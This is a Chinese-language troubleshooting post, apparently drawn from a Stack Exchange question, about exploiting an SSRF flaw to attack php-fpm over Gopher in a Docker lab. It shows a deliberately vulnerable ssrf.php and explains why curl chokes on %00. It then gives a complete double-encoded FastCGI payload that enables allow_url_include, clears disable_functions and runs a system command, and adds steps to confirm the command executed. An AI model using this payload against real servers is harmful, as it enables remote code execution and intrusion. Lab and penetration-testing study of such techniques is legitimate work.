SSRF+Gopher攻击内网php-fpm时curl解析%00字符报错问题排查
绕过CURL%00解析限制的SSRF攻击Payload构造方案
环境与问题概述
在Docker环境中搭建了nginx/1.18.0 + PHP 8.2.3-fpm环境,部署了存在SSRF漏洞的ssrf.php,代码如下:
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['url'])) { $url = trim($_POST['url']); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); }
容器80端口映射至主机8085端口,php-fpm监听容器内127.0.0.1:9000。尝试通过SSRF漏洞利用Gopher协议构造FastCGI payload(由Gopherus生成)攻击php-fpm时,出现以下问题:
- 直接用curl访问payload时提示
curl: (3) URL using bad/illegal format or missing URL,tcpdump显示仅完成TCP握手,未发送payload - 通过
ssrf.php访问payload仅触发一次连接,未达到FastCGI协议要求的两次请求
问题根源
Gopher payload中的%00空字符是FastCGI协议的必需分隔符,但CURL会将URL中的%00解析为字符串结束符,导致后续payload内容被截断,无法完整发送FastCGI数据包。
解决方案
1. 对%00进行二次编码
由于PHP的CURL在处理URL时会自动解码一次%xx编码,因此可以将payload中的所有%00替换为%2500(即对%00再次URL编码)。这样CURL解码后会还原出原始的%00空字符,确保FastCGI数据包完整传递。
修改后的示例payload:
gopher://127.0.0.1:9000/\_%01%01%2500%01%2500%08%2500%2500%2500%01%2500%2500%2500%2500%2500%2500%01%04%2500%01%01%0B%03%2500%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%2500%2500%2500%01%04%2500%01%2500%2500%2500%2500%01%05%2500%01%25008%04%2500%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%2500%2500%2500%2500
2. 验证修改效果
- 直接用curl测试修改后的payload:确保不再出现格式错误,tcpdump可观测到完整的FastCGI数据包发送
- 通过
ssrf.php发送POST请求:检查tcpdump是否捕获到两次FastCGI请求记录,同时验证目标命令(ls /)是否执行成功
补充说明
- 保留payload开头的
\_:用于规避Gopher协议对第一个字符的特殊解析要求,确保payload被正确识别 - 若环境中存在其他URL编码过滤,可尝试使用UTF-8编码或其他编码方式替代,但二次编码
%2500是最通用的解决方案
内容的提问来源于stack exchange,提问作者Big-K
相关产品推荐
相关产品推荐

